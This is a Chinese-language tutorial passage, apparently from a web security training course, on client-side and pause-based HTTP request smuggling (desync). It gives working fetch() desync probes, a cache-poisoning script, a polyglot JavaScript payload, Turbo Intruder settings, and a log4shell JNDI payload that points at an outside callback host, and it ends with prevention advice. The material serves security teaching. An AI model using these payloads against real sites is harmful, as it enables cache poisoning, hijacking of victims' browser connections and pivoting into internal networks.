有时可以鼓励 Web 服务器响应 POST 请求,而不读取正文。如果他们随后允许浏览器对其他请求重复使用同一连接,则会导致客户端不同步漏洞。
概括地说,CSD 攻击涉及以下阶段:
-
受害者访问任意域上包含恶意 JavaScript 的网页。
-
JavaScript 导致受害者的浏览器向易受攻击的网站发出请求。这在其正文中包含攻击者控制的请求前缀,这与普通的请求走私攻击非常相似。
-
恶意前缀在响应初始请求后会留在服务器的 TCP/TLS 套接字上,从而使与浏览器的连接不同步。
-
然后,JavaScript 会触发中毒连接的后续请求。这被附加到恶意前缀中,从而引发来自服务器的有害响应。
由于这些攻击不依赖于解析两台服务器之间的差异,这意味着即使是单服务器网站也可能容易受到攻击。
注意
要使这些攻击发挥作用,请务必注意目标 Web 服务器不得支持 HTTP/2。客户端不同步依赖于 HTTP/1.1 连接重用,并且浏览器通常更喜欢 HTTP/2(如果可用)。
此规则的一个例外是,如果您怀疑您的预期受害者将通过仅支持 HTTP/1.1 的转发代理访问该站点。
7.2.2 测试客户端异步漏洞
由于依赖浏览器来实施攻击的复杂性增加,因此在测试客户端不同步漏洞时必须有条不紊。尽管有时可能很诱人地跳到前面,但我们推荐以下工作流程。这可确保您分阶段确认对攻击的每个元素的假设。
-
探测 Burp 中潜在的不同步向量。
-
确认 Burp 中的 desync 向量。
-
构建概念验证以在浏览器中复制行为。
-
确定可利用的小工具。
-
在 Burp 中构建一个有效的漏洞利用程序。
-
在浏览器中复制漏洞利用。
Burp Scanner 和 HTTP Request Smuggler 扩展都可以帮助您自动执行此过程的大部分,但了解如何手动执行此操作以巩固您对其工作原理的理解非常有用。
探测客户端不同步向量
测试客户端异步漏洞的第一步是识别或制作导致服务器忽略 Content-Length 标头的请求。探测此行为的最简单方法是发送指定的 Content-Length 长于实际正文的请求:
-
如果请求只是挂起或超时,则表明服务器正在等待 Headers 承诺的剩余字节。
-
如果您立即得到响应,则您可能找到了 CSD 向量。这需要进一步调查。
与 CL.0 漏洞一样,我们发现最有可能的候选对象是不需要 POST 请求的终端节点,例如静态文件或服务器级重定向。
或者,您也可以通过触发服务器错误来引发此行为。在这种情况下,请记住,您仍然需要浏览器将跨域发送的请求。在实践中,这意味着你只能篡改 URL、正文,以及一些零碎的东西,比如 Referer 头和 Content-Type 头的后半部分。
bash
Referer: https://evil-user.net/?%00
Content-Type: application/x-www-form-urlencoded; charset=null, boundary=x
您还可以通过尝试在 Web 根目录上方导航来触发服务器错误。请记住,浏览器会规范化路径,因此您需要对遍历序列的字符进行 URL 编码:
bash
GET /%2e%2e%2f HTTP/1.1
确认 Burp 中的 desync 向量
需要注意的是,一些安全服务器无需等待正文即可响应,但仍然可以在正文到达时正确解析它。其他服务器没有正确处理 Content-Length,而是在响应后立即关闭连接,使其无法被利用。
要筛选出这些问题,请尝试通过同一连接发送两个请求,以查看是否可以使用第一个请求的正文来影响对第二个请求的响应,就像探测 CL.0 请求走私时所做的那样。
在浏览器中构建概念验证
使用 Burp 确定合适的向量后,请务必确认您可以在浏览器中复制不同步。
浏览器要求
为了减少任何干扰的可能性,并确保您的测试尽可能地模拟任意受害者的浏览器:
-
使用不通过 Burp Suite 代理流量的浏览器 - 使用任何 HTTP 代理都会对攻击的成功产生重大影响。我们建议使用 Chrome,因为其开发者工具提供了一些有用的故障排除功能。
-
禁用任何浏览器扩展。
-
转到您计划从中对受害者发起攻击的站点。这必须位于与易受攻击的站点不同的域中,并且可以通过 HTTPS 访问。对于我们的实验室,您可以使用提供的漏洞利用服务器。
-
打开浏览器的开发人员工具,然后转到 Network (网络) 选项卡。
-
进行以下调整:
-
选择 Preserve log 选项。
-
右键单击标头并启用 Connection ID 列。
-
这可确保浏览器发送的每个请求都记录在 Network (网络) 选项卡上,以及它使用的连接的详细信息。这有助于以后解决任何问题。
- 切换到 Console 选项卡并使用 fetch() 复制您在 Burp 中测试的 desync 探针。代码应如下所示:
bash
fetch('https://vulnerable-website.com/vulnerable-endpoint', {
method: 'POST',
body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', // malicious prefix
mode: 'no-cors', // ensures the connection ID is visible on the Network tab
credentials: 'include' // poisons the "with-cookies" connection pool
}).then(() => {
location = 'https://vulnerable-website.com/' // uses the poisoned connection
})
除了指定 POST 方法并将我们的恶意前缀添加到正文之外,请注意,我们还设置了以下选项:
-
mode: 'no-cors' - 这可确保每个请求的连接 ID 在 Network (网络) 选项卡上可见,这有助于进行故障排除。
-
credentials: 'include' - 浏览器通常对带有 Cookie 的请求和没有 Cookie 的请求使用单独的连接池。此选项可确保您毒化 "with-cookies" 池,大多数漏洞利用都需要该池。
运行此命令时,您应该会在 Network (网络) 选项卡上看到两个请求。第一个请求应收到通常的响应。如果第二个请求收到对恶意前缀(在本例中为 404)的响应,则确认您已成功从浏览器触发异步。
处理重定向
正如我们已经提到的,对触发服务器级重定向的终端节点的请求是客户端不同步的常见向量。在构建漏洞利用时,这会带来一个小障碍,因为浏览器将遵循此重定向,从而破坏攻击序列。值得庆幸的是,有一个简单的解决方法。
通过为初始请求设置 mode: 'cors' 选项,你可以有意触发 CORS 错误,从而阻止浏览器跟踪重定向。然后,您可以通过调用 catch() 而不是 then() 来恢复攻击序列。例如:
bash
fetch('https://vulnerable-website.com/redirect-me', {
method: 'POST',
body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
mode: 'cors',
credentials: 'include'
}).catch(() => {
location = 'https://vulnerable-website.com/'
})
此方法的缺点是,您将无法在 Network (网络) 选项卡上看到连接 ID,这可能会使故障排除更加困难。
7.2.3 利用客户端异步漏洞
找到合适的向量并确认您可以成功导致浏览器中不同步后,您就可以开始寻找可利用的小工具了。
7.2.3.1 经典攻击的客户端变体
您可以使用这些技术来执行许多与服务器端请求走私相同的攻击。您所需要的只是让受害者访问一个恶意网站,导致他们的浏览器发起攻击。
7.2.3.2 客户端缓存中毒
我们之前介绍了如何使用服务器端异步将现场重定向转换为开放重定向,从而使您能够劫持 JavaScript 资源导入。您可以仅使用客户端不同步来获得相同的效果,但在正确的时间破坏正确的连接可能很棘手。使用 desync 来破坏浏览器的缓存要容易得多。这样,您无需担心它使用哪个连接来加载资源。
在本节中,我们将引导您完成构建此攻击的过程。这涉及以下高级步骤:
-
确定合适的 CSD 向量并取消同步浏览器的连接。
-
使用不同步的连接通过重定向使缓存中毒。
-
触发从目标域导入资源。
-
交付有效负载。
注意
在浏览器中测试此攻击时,请确保在每次尝试之间清除缓存("设置">"清除浏览数据">"缓存的图像和文件")。
使用重定向使缓存中毒
找到 CSD 向量并确认您可以在浏览器中复制它后,您需要确定合适的重定向小工具。之后,对缓存进行中毒作非常简单。
首先,调整您的概念验证,以便走私前缀触发重定向到您将托管恶意负载的域。接下来,将 follow-up 请求更改为对目标 JavaScript 文件的直接请求。
生成的代码应如下所示:
bash
<script>
fetch('https://vulnerable-website.com/desync-vector', {
method: 'POST',
body: 'GET /redirect-me HTTP/1.1\r\nFoo: x',
credentials: 'include',
mode: 'no-cors'
}).then(() => {
location = 'https://vulnerable-website.com/resources/target.js'
})
</script>
这将毒害缓存,尽管会无限重定向回您的脚本。您可以通过在浏览器中查看脚本并研究开发人员工具中的 Network (网络) 选项卡来确认这一点。
注意
您需要通过到目标域的顶级导航来触发后续请求。由于浏览器对缓存进行分区的方式,使用 fetch() 发出跨域请求会毒害错误的缓存。
触发资源导入
将受害者置于无限循环中可能会有点烦人,但这并不是一个很大的漏洞利用。现在,你需要进一步开发你的脚本,以便当浏览器返回时,其缓存已经被污染,它将被导航到易受攻击站点上的一个页面,该页面将触发资源导入。这可以通过使用条件语句来轻松实现,根据浏览器窗口是否已经查看过你的脚本执行不同的代码。
当浏览器尝试在目标站点上导入资源时,它将使用其中毒的缓存条目,并第三次重定向回您的恶意页面。
交付有效负载
在这个阶段,您已经为攻击奠定了基础,但最后的挑战是弄清楚如何提供可能有害的负载。
最初,受害者的浏览器将您的恶意页面加载为 HTML,并在您自己的域上下文中执行嵌套的 JavaScript。当它最终尝试在目标域上导入 JavaScript 资源并被重定向到您的恶意页面时,您会注意到该脚本没有执行。这是因为当浏览器需要 JavaScript 时,您仍在提供 HTML。
对于实际的漏洞利用,您需要一种方法从同一端点提供纯 JavaScript,同时确保它仅在最后阶段执行,以避免干扰设置请求。
一种可能的方法是通过将 HTML 包装在 JavaScript 注释中来创建多语言有效负载:
bash
alert(1);
/*
<script>
fetch( ... )
</script>
*/
当浏览器以超文本标记语言加载页面时,它只会执行<script>
标签中的JavaScript。当它最终在JavaScript上下文中加载它时,它只会执行警报()有效负载,将其余内容视为任意开发人员注释。
7.2.3.3 针对内部基础设施的旋转攻击
大多数服务器端去同步攻击都涉及以只能使用Burp Repeater等工具的方式操纵HTTP标头。例如,不可能让某人的浏览器发送在User-Agent标头中带有log4shell有效负载的请求:
bash
GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}
这意味着这些攻击通常仅限于您可以直接访问的网站。但是,如果网站容易受到客户端不同步的影响,您可以通过诱导受害者的浏览器发送以下请求来达到预期的效果:
bash
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
User-Agent: Mozilla/5.0 etc.
Content-Length: 86
GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}
由于所有请求都来自受害者的浏览器,这可能使您能够将攻击转向他们有权访问的任何网站。这包括位于受信任的内部网上或隐藏在基于IP的限制后面的网站。一些浏览器正在努力缓解这些类型的攻击,但这些浏览器可能只有部分覆盖范围。
7.2.3.4 如何防止客户端异步漏洞
有关您可以采取的一些高级措施来防止客户端不同步漏洞和其他形式的不同步攻击,请参阅如何防止 HTTP 请求走私漏洞。
下一步是什么?
您已经了解了 CL.0 和 CSD 攻击,但还有另一个潜在的不同步向量,它可以在最初看起来安全的网站上启用服务器端和客户端漏洞。
7.2.4 基于暂停的异步攻击
看似安全的网站可能包含隐藏的不同步漏洞,这些漏洞只有在您在请求中暂停时才会显现出来。
服务器通常配置有读取超时。如果他们在一段时间内没有收到任何更多数据,则无论他们被告知预期多少字节,他们都会将请求视为已完成并发出响应。当服务器使请求超时但使连接保持开放以供重复使用时,可能会出现基于暂停的异步漏洞。在适当的条件下,此行为可以为服务器端和客户端不同步攻击提供替代向量。
7.2.4.1 服务器端基于暂停的异步
您可以使用基于暂停的技术来引发类似 CL.0 的行为,从而允许您为最初可能看起来安全的网站构建服务器端请求走私漏洞。
这取决于以下条件:
-
前端服务器必须立即将请求的每个字节转发到后端,而不是等到收到完整请求。
-
前端服务器不得(或可以鼓励不要)在后端服务器之前超时请求。
-
后端服务器必须使连接保持打开状态,以便在读取超时后重新使用。
为了演示此技术的工作原理,让我们演练一个示例。以下是标准的 CL.0 请求走私探测:
bash
POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
考虑一下,如果我们将标头发送到易受攻击的网站,但在发送正文之前暂停,会发生什么情况。
-
前端将标头转发到后端,然后继续等待 Content-Length 标头承诺的剩余字节。
-
一段时间后,后端超时并发送响应,即使它只消耗了请求的一部分。此时,前端可能会也可能不会读取此响应并将其转发给我们。
-
最后,我们发送 body,在本例中,它包含一个基本的请求走私前缀。
-
前端服务器将此视为初始请求的延续,并通过同一连接将其转发到后端。
-
后端服务器已经响应了初始请求,因此假定这些字节是另一个请求的开始。
此时,我们已经有效地实现了 CL.0 不同步,使用请求前缀毒害了前端/后端连接。
当服务器自己生成响应而不是将请求传递给应用程序时,它们更容易受到攻击。
7.2.4.2 测试基于暂停的 CL.0 漏洞
使用 Burp Repeater 可以测试基于暂停的 CL.0 漏洞,但仅当前端服务器在生成后端超时后的响应时立即将其转发给你时才行,而情况并非总是如此。我们建议使用Turbo Intruder扩展,因为它允许你在请求中途暂停然后恢复,无论你是否已收到响应。
- 在 Burp Repeater 中,创建一个 CL.0 请求走私探测,就像我们在上面的例子中使用的那样,然后将其发送到 Turbo Intruder。
bash
POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
- 在 Turbo Intruder 的 Python 编辑器面板中,调整请求引擎配置以设置以下选项:
bash
concurrentConnections=1
requestsPerConnection=100
pipeline=False
-
将请求排队,将以下参数添加到 queue() 接口:
- pauseMarker - 您希望 Turbo Intruder 暂停的字符串列表。
- pauseTime - 暂停的持续时间(以毫秒为单位)。
例如,要在标头后暂停 60 秒,请按如下方式将请求排队:
bash
engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=60000)
- 正常排队任意 follow-up 请求:
bash
followUp = 'GET / HTTP/1.1\r\nHost: vulnerable-website.com\r\n\r\n'
engine.queue(followUp)
- 确保您将所有响应记录到 results 表中:
bash
def handleResponse(req, interesting):
table.add(req)
当你首次开始攻击时,你在表格中不会看到任何结果。然而,在指定的暂停持续时间过后,你应该会看到两个结果。如果对第二个请求的响应与你从走私前缀中预期的结果(在这种情况下是 404)相匹配,这强烈表明失步是成功的。
注意
与其使用pauseMarker基于字符串匹配指定暂停,你可以使用pauseBefore参数指定偏移量。例如,你可以通过指定一个与Content-Length相反的偏移量(pauseBefore=-34)在正文之前暂停。
7.2.4.3 客户端基于暂停的异步
理论上,可以执行基于暂停的 CL.0 不同步的客户端变体。遗憾的是,我们还没有找到一种可靠的方法来使浏览器在请求中暂停。但是,有一种可能的解决方法 - 主动 MITM 攻击。
TLS 提供的加密可能会阻止 MITM 读取动态流量,但没有什么可以阻止它们延迟从浏览器到 Web 服务器的 TCP 数据包。通过简单地将最终数据包延迟到 Web 服务器发出响应,您可以取消同步浏览器的连接。
此攻击的流程与任何其他客户端异步攻击类似。用户访问恶意网站,这会导致其浏览器向目标站点发出一系列跨域请求。在这种情况下,您需要特意填充第一个请求,以便作系统将其拆分为多个 TCP 数据包。在控制填充时,您可以填充请求,直到最终数据包具有不同的大小,以便您可以确定要延迟哪个数据包。
如何防止基于暂停的异步漏洞
有关您可以采取的一些高级措施来防止基于暂停的不同步漏洞和其他形式的不同步攻击,请参阅如何防止 HTTP 请求走私漏洞。
8. 如何防止 HTTP 请求走私漏洞
HTTP 请求走私漏洞出现在前端服务器和后端服务器使用不同机制确定请求之间边界的情况下。这可能是由于 HTTP/1 服务器在确定每个请求的结束位置时,是使用Content-Length
标头还是分块传输编码之间存在差异。在 HTTP/2 环境中,为后端降级 HTTP/2 请求的常见做法也充满问题,并使许多额外的攻击成为可能或简化这些攻击。
为防止 HTTP 请求走私漏洞,我们建议采取以下高级措施:
-
尽可能端到端地使用 HTTP/2,并在可能的情况下禁用 HTTP 降级。HTTP/2 使用一种强大的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写后的请求。例如,拒绝在标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。
-
使前端服务器规范化模糊请求,并使后端服务器拒绝任何仍然模糊的请求,并在此过程中关闭 TCP 连接。
-
永远不要假设请求没有主体。这是 CL.0 和客户端不同步漏洞的根本原因。
-
如果在处理请求时触发服务器级别的异常,则默认丢弃连接。
-
如果通过正向代理路由流量,请确保在可能的情况下启用上游 HTTP/2。
正如材料中所展示的,禁用后端连接的重用将有助于缓解某些类型的攻击,但这仍然不能保护您免受请求隧道攻击。